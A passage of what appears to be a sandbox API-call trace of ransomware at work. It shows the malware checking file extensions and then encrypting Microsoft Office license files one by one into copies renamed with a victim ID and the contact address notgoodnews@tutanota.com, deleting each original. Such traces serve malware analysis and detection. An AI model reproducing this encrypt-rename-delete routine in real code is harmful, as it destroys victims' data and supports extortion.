Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.951] lstrlenW (lpString=".dbf") returned 4 [0186.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.952] lstrlenW (lpString=".1cd") returned 4 [0186.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80 [0186.952] lstrlenW (lpString=".jpg") returned 4 [0186.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.952] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0186.952] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31 [0186.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.958] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=22215) returned 1 [0186.958] CloseHandle (hObject=0x550) returned 1 [0186.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220 [0186.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.958] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.958] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0186.959] GetLastError () returned 0x0 [0186.959] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x56c7, lpOverlapped=0x0) returned 1 [0187.224] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x56d0, lpOverlapped=0x0) returned 1 [0187.226] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.226] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x112, lpOverlapped=0x0) returned 1 [0187.226] SetEndOfFile (hFile=0x514) returned 1 [0187.226] CloseHandle (hObject=0x514) returned 1 [0187.226] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.226] SetEndOfFile (hFile=0x550) returned 1 [0187.234] CloseHandle (hObject=0x550) returned 1 [0187.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.235] lstrlenW (lpString=".doc") returned 4 [0187.235] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.235] lstrlenW (lpString=".docx") returned 5 [0187.235] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.235] lstrlenW (lpString=".pdf") returned 4 [0187.235] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.235] lstrlenW (lpString=".xls") returned 4 [0187.235] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.235] lstrlenW (lpString=".xlsx") returned 5 [0187.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.235] lstrlenW (lpString=".ppt") returned 4 [0187.236] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".zip") returned 4 [0187.236] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".rar") returned 4 [0187.236] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".bz2") returned 4 [0187.236] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".7z") returned 3 [0187.236] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".dbf") returned 4 [0187.236] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".1cd") returned 4 [0187.236] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".jpg") returned 4 [0187.236] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".doc") returned 4 [0187.236] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".docx") returned 5 [0187.236] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.236] lstrlenW (lpString=".pdf") returned 4 [0187.236] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".xls") returned 4 [0187.236] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString=".xlsx") returned 5 [0187.236] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.236] lstrlenW (lpString=".ppt") returned 4 [0187.236] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.236] lstrlenW (lpString=".zip") returned 4 [0187.237] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.237] lstrlenW (lpString=".rar") returned 4 [0187.237] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.237] lstrlenW (lpString=".bz2") returned 4 [0187.237] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.237] lstrlenW (lpString=".7z") returned 3 [0187.237] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.237] lstrlenW (lpString=".dbf") returned 4 [0187.237] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.237] lstrlenW (lpString=".1cd") returned 4 [0187.237] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0187.237] lstrlenW (lpString=".jpg") returned 4 [0187.237] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.237] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.237] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32 [0187.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.238] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=21606) returned 1 [0187.238] CloseHandle (hObject=0x550) returned 1 [0187.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0187.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.239] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.239] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0187.240] GetLastError () returned 0x0 [0187.240] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x5466, lpOverlapped=0x0) returned 1 [0187.242] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5470, lpOverlapped=0x0) returned 1 [0187.244] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.244] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x114, lpOverlapped=0x0) returned 1 [0187.244] SetEndOfFile (hFile=0x514) returned 1 [0187.244] CloseHandle (hObject=0x514) returned 1 [0187.244] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.244] SetEndOfFile (hFile=0x550) returned 1 [0187.248] CloseHandle (hObject=0x550) returned 1 [0187.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0187.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.250] lstrlenW (lpString=".doc") returned 4 [0187.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".docx") returned 5 [0187.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.250] lstrlenW (lpString=".pdf") returned 4 [0187.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".xls") returned 4 [0187.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".xlsx") returned 5 [0187.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.250] lstrlenW (lpString=".ppt") returned 4 [0187.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.250] lstrlenW (lpString=".zip") returned 4 [0187.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".rar") returned 4 [0187.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".bz2") returned 4 [0187.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString=".7z") returned 3 [0187.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.250] lstrlenW (lpString=".dbf") returned 4 [0187.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".1cd") returned 4 [0187.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".jpg") returned 4 [0187.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".doc") returned 4 [0187.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".docx") returned 5 [0187.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.251] lstrlenW (lpString=".pdf") returned 4 [0187.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".xls") returned 4 [0187.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".xlsx") returned 5 [0187.251] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.251] lstrlenW (lpString=".ppt") returned 4 [0187.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".zip") returned 4 [0187.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".rar") returned 4 [0187.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".bz2") returned 4 [0187.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString=".7z") returned 3 [0187.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".dbf") returned 4 [0187.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".1cd") returned 4 [0187.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0187.251] lstrlenW (lpString=".jpg") returned 4 [0187.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.252] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.252] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35 [0187.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.253] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11612) returned 1 [0187.253] CloseHandle (hObject=0x550) returned 1 [0187.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0187.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.253] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.254] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0187.255] GetLastError () returned 0x0 [0187.255] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0187.256] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0187.257] ReadFile (in: hFile=0x550, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.257] WriteFile (in: hFile=0x514, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11a, lpOverlapped=0x0) returned 1 [0187.258] SetEndOfFile (hFile=0x514) returned 1 [0187.258] CloseHandle (hObject=0x514) returned 1 [0187.258] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.258] SetEndOfFile (hFile=0x550) returned 1 [0187.940] CloseHandle (hObject=0x550) returned 1 [0187.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0188.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.557] lstrlenW (lpString=".doc") returned 4 [0188.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.557] lstrlenW (lpString=".docx") returned 5 [0188.557] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.557] lstrlenW (lpString=".pdf") returned 4 [0188.557] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.557] lstrlenW (lpString=".xls") returned 4 [0188.557] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.557] lstrlenW (lpString=".xlsx") returned 5 [0188.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.558] lstrlenW (lpString=".ppt") returned 4 [0188.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.558] lstrlenW (lpString=".zip") returned 4 [0188.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString=".rar") returned 4 [0188.558] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString=".bz2") returned 4 [0188.558] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString=".7z") returned 3 [0188.558] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.558] lstrlenW (lpString=".dbf") returned 4 [0188.558] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.558] lstrlenW (lpString=".1cd") returned 4 [0188.558] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.559] lstrlenW (lpString=".jpg") returned 4 [0188.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0188.559] lstrlenW (lpString=".doc") returned 4 [0188.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".docx") returned 5 [0188.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.559] lstrlenW (lpString=".pdf") returned 4 [0188.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".xls") returned 4 [0188.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.559] lstrlenW (lpString=".xlsx") returned 5 [0188.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned 